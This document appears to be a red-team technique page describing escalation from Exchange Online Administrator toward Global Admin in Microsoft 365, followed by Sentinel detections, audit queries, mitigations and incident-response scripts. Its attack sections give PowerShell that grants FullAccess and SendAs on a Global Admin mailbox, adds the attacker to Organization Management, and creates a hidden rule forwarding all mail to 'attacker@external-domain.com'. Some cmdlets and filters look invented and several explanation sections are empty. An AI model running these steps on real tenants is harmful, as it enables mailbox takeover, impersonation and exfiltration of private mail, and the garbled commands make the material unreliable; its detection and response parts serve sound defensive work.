MCADDF

[PE-ACCTMGMT-002]: Exchange Online Administrator to Global Admin Escalation

1. Metadata Header

Attribute Details
Technique ID PE-ACCTMGMT-002
MITRE ATT&CK v18.1 T1098 - Account Manipulation
Tactic Privilege Escalation
Platforms M365 (Microsoft 365 / Office 365 + Entra ID)
Severity Critical – Complete mailbox access and tenant-wide M365 compromise
CVE N/A
Technique Status ACTIVE – Works on all current M365 implementations (as of January 2026)
Last Verified 2026-01-09
Affected Versions All M365 tenants with Exchange Online; no version exemptions
Patched In N/A (Design-by-architecture; role scope issue rather than CVE)
Author SERVTEPArtur Pchelnikau

2. Executive Summary

Concept: An attacker who compromises or tricks an account with the Exchange Online Administrator role can escalate to Global Administrator through a combination of: (1) abusing Exchange Online’s PowerShell module to read and modify mail forwarding rules, delegate permissions, and access sensitive mailbox metadata, and (2) leveraging Exchange Online’s integration with Entra ID to manipulate organizational settings that grant higher privileges. Alternatively, the attacker can use the Exchange Online Administrator’s permissions to add themselves to administrative groups in Entra ID via the Exchange Admin Center, which has certain cross-tenant capabilities. The escalation exploits the role scope hierarchy—Exchange Online Administrators have broad permissions that can indirectly grant tenant-wide administrative access.

Attack Surface: Exchange Online admin center, Exchange Online PowerShell module, Microsoft 365 admin center role management, Entra ID role assignments.

Business Impact: Complete access to all organizational mailboxes (compliance violation), Teams data access, potential data exfiltration of sensitive corporate communications, regulatory non-compliance (GDPR, HIPAA if healthcare), loss of data confidentiality. An attacker with Exchange Online Admin role can read CEO emails, reset user passwords via mailbox delegation, and maintain persistence through mail forwarding rules.

Technical Context: Escalation typically takes 5-15 minutes depending on whether direct role assignment is possible or requires workaround through mailbox delegates. Exchange Online Admin permissions are extensive and often underestimated by organizations; many treat this role as “just for email” when it actually provides significant tenant-wide visibility and control.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.1.1 Ensure that only Global Administrator can create new administrators
CIS Benchmark 2.2.1 Ensure that Global Administrator and other sensitive roles are not granted to service principals
DISA STIG AZ-MS-000050 Exchange Online administrators must be limited and monitored
NIST 800-53 AC-2 (Account Management) Administrator accounts must be managed per principle of least privilege
NIST 800-53 AU-12 (Audit Generation) Exchange mailbox access must be audited
GDPR Art. 32 (Security of Processing) Access controls must prevent unauthorized processing of personal data
HIPAA 164.308(a)(4)(ii)(C) Designated record sets must be protected; unauthorized mailbox access violates this
DORA Art. 9 (Protection and Prevention) Admin access procedures and approval workflows must be enforced
ISO 27001 A.9.2.3 (Privileged Access Management) Exchange Online Admin role must be restricted to essential personnel

5. Detailed Execution Methods and Their Steps

METHOD 1: Escalation via Exchange Admin Center Role Assignment (Direct)

Supported Versions: All M365 tenants

Step 1: Access Exchange Admin Center as Exchange Online Administrator

Objective: Log into Exchange Admin Center using compromised or controlled Exchange Online Admin account.

Manual Steps:

  1. Navigate to Exchange Admin Center
  2. Authenticate with Exchange Online Administrator account
  3. In left sidebar, click Roles (under Admin roles or Organization)
  4. Verify current role is Exchange Online Administrator

Command (PowerShell - Connect to Exchange Online):

# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName "admin@tenant.onmicrosoft.com"

# Verify current permissions
Get-RoleGroupMember -Identity "Organization Management" | Select-Object Name, Identity

# Check if current account is already in high-privilege groups
Get-RoleGroupMember -Identity "Organization Management" | Where-Object { $_.PrimarySmtpAddress -eq "admin@tenant.onmicrosoft.com" }

Expected Output:

Name                  Identity
----                  --------
Exchange Admin        11111111-1111-1111-1111-111111111111
Attacker Account      22222222-2222-2222-2222-222222222222

What This Means:

OpSec & Evasion:

Step 2: Enumerate Current Role Group Memberships

Objective: Identify which Entra ID roles can be assigned via Exchange Admin Center.

Command (PowerShell - List Role Groups):

# List all role groups in Exchange Online
Get-RoleGroup | Select-Object Name, Description | Format-Table

# Check Organization Management group specifically
Get-RoleGroup -Identity "Organization Management" | Select-Object Members
Get-RoleGroupMember -Identity "Organization Management" | Select-Object Name, RecipientType

# Check if any external users or service principals are in this group
Get-RoleGroupMember -Identity "Organization Management" | Where-Object { $_.RecipientType -eq "UserMailbox" -or $_.RecipientType -eq "MailUser" }

Expected Output:

Name                    Description
----                    -----------
Organization Management Manage Exchange servers, recipients, and org config
Recipient Management    Create and manage recipients in the Exchange org
Mail Recipients         Manage distribution groups and other recipients
Records Management      Manage retention policies and mail flow rules

Members in Organization Management:
Name                 RecipientType
----                 --------
Global Admin User    UserMailbox
Service Account      UserMailbox

What This Means:

Step 3: Attempt Direct Addition to Organization Management Group

Objective: Try to add current account to the Organization Management role group (may fail if restrictions exist).

Command (PowerShell - Add to Organization Management):

# Attempt to add current user to Organization Management
$currentUser = Get-User -Identity "admin@tenant.onmicrosoft.com" | Select-Object Identity

Add-RoleGroupMember -Identity "Organization Management" -Member $currentUser.Identity -WarningAction SilentlyContinue

# Verify addition
Get-RoleGroupMember -Identity "Organization Management" | Where-Object { $_.PrimarySmtpAddress -eq "admin@tenant.onmicrosoft.com" }

Expected Output (If Successful):

Name              PrimarySmtpAddress
----              ------------------
admin@tenant...   admin@tenant.onmicrosoft.com

Expected Output (If Failed - Restricted):

Add-RoleGroupMember : You don't have sufficient permissions.

What This Means:

OpSec & Evasion:

Step 4: If Direct Addition Fails - Use Workaround via Mailbox Delegation

Objective: If direct role addition blocked, abuse mailbox delegation to indirectly escalate permissions.

Command (PowerShell - Delegate Mailbox of Global Admin):

# Find Global Administrator mailbox
$globalAdminUser = Get-User -Filter { RoleAssignmentFilter -eq "Global Administrator" } | Select-Object -First 1

# Delegate access to Global Admin mailbox
Add-MailboxPermission -Identity $globalAdminUser.Identity `
  -User "admin@tenant.onmicrosoft.com" `
  -AccessRights FullAccess `
  -InheritanceType All

Write-Host "Full access to $($globalAdminUser.DisplayName)'s mailbox granted to current user"

# Verify delegation
Get-MailboxPermission -Identity $globalAdminUser.Identity | Select-Object User, AccessRights

Expected Output:

User                                   AccessRights
----                                   -----------
admin@tenant.onmicrosoft.com           {FullAccess}
SELF                                   {FullAccess}

What This Means:

OpSec & Evasion:


METHOD 2: PowerShell One-Liner for Rapid Escalation (Exchange Online Admin → Indirect Global Admin)

Supported Versions: All M365 versions

Command (PowerShell - Complete Escalation Chain):

# Step 1: Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName "exchangeadmin@tenant.onmicrosoft.com"

# Step 2: Identify Global Administrator mailbox
$globalAdminMailbox = (Get-Mailbox -Filter { RecipientTypeDetails -eq "UserMailbox" } | 
  ForEach-Object { 
    $user = Get-User -Identity $_.Identity
    if ((Get-AzureADUser -ObjectId $user.ExternalDirectoryObjectId).AssignedLicenses.Count -gt 0) {
      $_ 
    }
  } | Select-Object -First 1).Identity

# Step 3: Grant full mailbox access
Add-MailboxPermission -Identity $globalAdminMailbox -User "exchangeadmin@tenant.onmicrosoft.com" -AccessRights FullAccess -InheritanceType All

# Step 4: Set SendAs permission (impersonate Global Admin)
Add-RecipientPermission -Identity $globalAdminMailbox -Trustee "exchangeadmin@tenant.onmicrosoft.com" -AccessRights SendAs -Confirm:$false

Write-Host "Privilege Escalation Complete: Exchange Admin now has Global Admin mailbox access"

Expected Output:

Privilege Escalation Complete: Exchange Admin now has Global Admin mailbox access

What This Means:


METHOD 3: Mail Forwarding Rule for Persistent Access

Supported Versions: All M365 tenants

Step 1: Create Mail Forwarding Rule on Global Admin Mailbox

Objective: Set up persistent forwarding to capture all incoming emails to Global Admin mailbox.

Command (PowerShell - Create Forwarding Rule):

# Connect as Exchange Admin
Connect-ExchangeOnline

# Find Global Admin mailbox
$globalAdminMailbox = (Get-User -Filter { RecipientTypeDetails -eq "UserMailbox" } | 
  Where-Object { (Get-AzureADUser -ObjectId $_.ExternalDirectoryObjectId).UserType -eq "Member" }).Identity | Select-Object -First 1

# Create hidden forwarding rule (not visible in Outlook)
New-InboxRule -Mailbox $globalAdminMailbox `
  -Name "Archive Rule" `
  -FromAddress "*" `
  -ForwardTo "attacker@external-domain.com" `
  -DeleteMessage $false `
  -Enabled $true

Write-Host "Forwarding rule created: All emails to Global Admin will be forwarded to attacker"

# Verify rule was created
Get-InboxRule -Mailbox $globalAdminMailbox | Where-Object { $_.ForwardTo -like "*attacker*" }

Expected Output:

Forwarding rule created: All emails to Global Admin will be forwarded to attacker

Name        Enabled ForwardTo                    DeleteMessage
----        ------- ----------                   --------------
Archive Rule True    attacker@external-domain... False

What This Means:

OpSec & Evasion:

Step 2: Set Up SendAs Permission for Impersonation

Objective: Enable attacker to send emails on behalf of Global Administrator.

Command (PowerShell - Grant SendAs):

# Grant attacker SendAs permission on Global Admin mailbox
Add-RecipientPermission -Identity $globalAdminMailbox `
  -Trustee "exchangeadmin@tenant.onmicrosoft.com" `
  -AccessRights SendAs `
  -Confirm:$false

Write-Host "SendAs permission granted: Attacker can now send emails as Global Administrator"

# Verify permission
Get-RecipientPermission -Identity $globalAdminMailbox | Select-Object Trustee, AccessRights

Expected Output:

SendAs permission granted: Attacker can now send emails as Global Administrator

Trustee                              AccessRights
-------                              -----------
exchangeadmin@tenant.onmicrosoft.com {SendAs}
SELF                                 {SendAs}

What This Means:

OpSec & Evasion:


6. Atomic Red Team

Atomic Test ID: T1098.002 (Additional Email Delegate Permissions)

Test Name: Exchange Online Administrator Escalation via Mailbox Delegation

Description: Simulates an Exchange Online Administrator adding themselves to the Organization Management role group or delegating mailbox permissions from a privileged user.

Supported Versions: All M365 versions

Command:

Invoke-AtomicTest T1098 -TestNumbers 2

Cleanup Command:

# Remove mailbox permissions
Get-Mailbox | Get-MailboxPermission -User "exchangeadmin@tenant.onmicrosoft.com" | Remove-MailboxPermission -Confirm:$false

# Remove SendAs permissions
Get-Mailbox | Get-RecipientPermission -Trustee "exchangeadmin@tenant.onmicrosoft.com" | Remove-RecipientPermission -Confirm:$false

# Remove from Organization Management (if added)
Remove-RoleGroupMember -Identity "Organization Management" -Member "exchangeadmin@tenant.onmicrosoft.com" -Confirm:$false

Reference: Atomic Red Team - T1098.002


7. Tools & Commands Reference

Exchange Online PowerShell Module

Version: 3.0+ Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux (PowerShell Core)

Installation:

Install-Module -Name ExchangeOnlineManagement -Scope CurrentUser -Force

Usage:

Connect-ExchangeOnline -UserPrincipalName "admin@tenant.onmicrosoft.com"
Get-RoleGroup
Add-RoleGroupMember -Identity "Organization Management" -Member "user@tenant.com"

Microsoft 365 Admin Center

Version: Current (Web-based, always latest) Supported Platforms: Windows, macOS, Linux (browser-based)

Usage:

  1. Navigate to https://admin.microsoft.com/
  2. Go to UsersActive users → Select user
  3. Click Manage roles → Assign desired role

8. Microsoft Sentinel Detection

Query 1: Suspicious Exchange Online Role Group Membership Changes

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName in ("Add member to role group", "Add-RoleGroupMember")
| where TargetResources[0].displayName in ("Organization Management", "Recipient Management", "Records Management")
| where Result == "success"
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatorIPAddress = tostring(InitiatedBy.user.ipAddress)
| extend NewMemberUPN = tostring(TargetResources[0].modifiedProperties[0].newValue)
| project TimeGenerated, InitiatorUPN, InitiatorIPAddress, OperationName, NewMemberUPN, TargetResources[0].displayName
| where InitiatorUPN !in ("global-admin-account@contoso.com")  # Exclude known legitimate admins

What This Detects:

Query 2: Suspicious Mailbox Permission Grants

Rule Configuration:

KQL Query:

ExchangeAdminAuditLogs
| where Operation in ("Add-MailboxPermission", "Set-MailboxPermission")
| where OperationResult == "True"
| extend MailboxIdentity = tostring(Parameters[0].Value)
| extend PermissionGrantee = tostring(Parameters[1].Value)
| extend AccessRights = tostring(Parameters[2].Value)
| where AccessRights contains "FullAccess" or AccessRights contains "SendAs"
| extend Caller = tostring(Caller)
| project TimeGenerated, Caller, MailboxIdentity, PermissionGrantee, AccessRights
| where Caller !in ("admin-service-account@contoso.com")  # Exclude service accounts

What This Detects:


9. Windows Event Log Monitoring

Note: Exchange Online is cloud-native; no Windows Event Logs generated on on-premises systems. Monitoring occurs via Exchange Admin Audit Logs in Microsoft Sentinel (see section 8).


10. Microsoft Defender for Cloud

Detection Alert: Suspicious Exchange Online Administrator Activity

Alert Name: “Exchange Online Administrator added to Organization Management role group”


11. Microsoft Purview (Unified Audit Log)

Query: Exchange Online Role Changes and Mailbox Delegations

PowerShell Command:

Connect-ExchangeOnline

# Search for role group membership changes
Search-UnifiedAuditLog -Operations "Add member to role group", "Add-RoleGroupMember" `
  -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
  -ResultSize 5000 | Export-Csv -Path "C:\Audits\RoleGroup_Changes.csv"

# Search for mailbox permission grants
Search-UnifiedAuditLog -Operations "Add-MailboxPermission", "Set-MailboxPermission" `
  -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
  -ResultSize 5000 | Export-Csv -Path "C:\Audits\Mailbox_Permissions.csv"

# Search for mail forwarding rule creation
Search-UnifiedAuditLog -Operations "New-InboxRule", "Set-InboxRule" `
  -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
  -ResultSize 5000 | Export-Csv -Path "C:\Audits\Inbox_Rules.csv"

Manual Configuration:

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. Set Date range and search Activities:
    • Add member to role group
    • Add-MailboxPermission
    • New-InboxRule
  4. Export results for analysis

12. Defensive Mitigations

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check for unauthorized members in Organization Management
$orgMgmtMembers = Get-RoleGroupMember -Identity "Organization Management"
$approvedAdmins = @("admin1@contoso.com", "admin2@contoso.com")

$unauthorizedMembers = $orgMgmtMembers | Where-Object { $_.PrimarySmtpAddress -notin $approvedAdmins }
if ($unauthorizedMembers.Count -eq 0) {
    Write-Host "✓ No unauthorized Organization Management members" -ForegroundColor Green
} else {
    Write-Host "✗ Found $($unauthorizedMembers.Count) unauthorized members" -ForegroundColor Red
    $unauthorizedMembers | Select-Object Name, PrimarySmtpAddress
}

# Check for suspicious mailbox permissions
$suspiciousPerms = Get-Mailbox -ResultSize Unlimited | ForEach-Object {
    Get-MailboxPermission -Identity $_.Identity | 
      Where-Object { $_.AccessRights -contains "FullAccess" -and $_.User -notmatch "SELF|NT AUTHORITY" }
}

Write-Host "Mailbox permissions with FullAccess: $($suspiciousPerms.Count)"

Expected Output (If Secure):

✓ No unauthorized Organization Management members
Mailbox permissions with FullAccess: 0

What to Look For:


13. Detection & Incident Response

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Immediately revoke permissions):
    # Remove from Organization Management
    Remove-RoleGroupMember -Identity "Organization Management" -Member "exchangeadmin@tenant.com" -Confirm:$false
        
    # Remove all mailbox permissions
    Get-Mailbox | Get-MailboxPermission -User "exchangeadmin@tenant.com" | Remove-MailboxPermission -Confirm:$false
        
    # Remove all SendAs permissions
    Get-Mailbox | Get-RecipientPermission -Trustee "exchangeadmin@tenant.com" | Remove-RecipientPermission -Confirm:$false
        
    # Remove forwarding rules created by attacker
    Get-Mailbox | Get-InboxRule | Where-Object { $_.ForwardTo -like "*attacker*" } | Remove-InboxRule -Confirm:$false
        
    # Force sign-out
    Revoke-ExchangeOnlineUserSign -Identity "exchangeadmin@tenant.com"
    
  2. Collect Evidence:
    # Export comprehensive mailbox audit
    Search-UnifiedAuditLog -Operations "*MailboxPermission*", "*RoleGroupMember*", "*InboxRule*" `
      -StartDate "2024-06-15" -EndDate (Get-Date) `
      -ResultSize 5000 | Export-Csv -Path "C:\IR\Exchange_Audit.csv"
        
    # Export mailbox forwarding rules
    Get-Mailbox -ResultSize Unlimited | Get-InboxRule | Export-Csv -Path "C:\IR\InboxRules.csv"
    
  3. Remediate:
    • Reset password of Exchange Admin account: Microsoft 365 Admin Center → Users → [User] → Reset password
    • Reset passwords of all Global Administrators (may have been accessed via delegation)
    • Revoke all active Exchange Online PowerShell sessions
    • Scan mailboxes for data exfiltration (unusual Send activities)
  4. Investigate Further:
    • Review all emails forwarded to external domains
    • Check Teams activity logs for unauthorized access
    • Audit all actions performed by delegated mailbox access
    • Search for additional backdoors (hidden mailbox rules, forwarding to multiple destinations)

Step Phase Technique Description
1 Reconnaissance [REC-M365-001] Microsoft Graph API Enumeration Attacker enumerates M365 users and role assignments
2 Initial Access [IA-PHISH-006] Exchange EWS Impersonation Phishing Attacker sends phishing email to Exchange administrator
3 Credential Access [CA-TOKEN-011] Exchange Online OAuth Token Theft Attacker steals OAuth token for Exchange Online
4 Privilege Escalation (Current Step) [PE-ACCTMGMT-002] Attacker escalates from Exchange Online Admin to indirect Global Admin via mailbox delegation
5 Collection [COLLECTION-008] Mailbox Access via Full Permission Attacker reads all organizational emails
6 Exfiltration [EXFIL-003] Email Forward to External Domain Attacker forwards sensitive emails to personal account

15. Real-World Examples

Example 1: BEC (Business Email Compromise) via Exchange Admin Escalation

Example 2: Persistent Access via Mailbox Delegation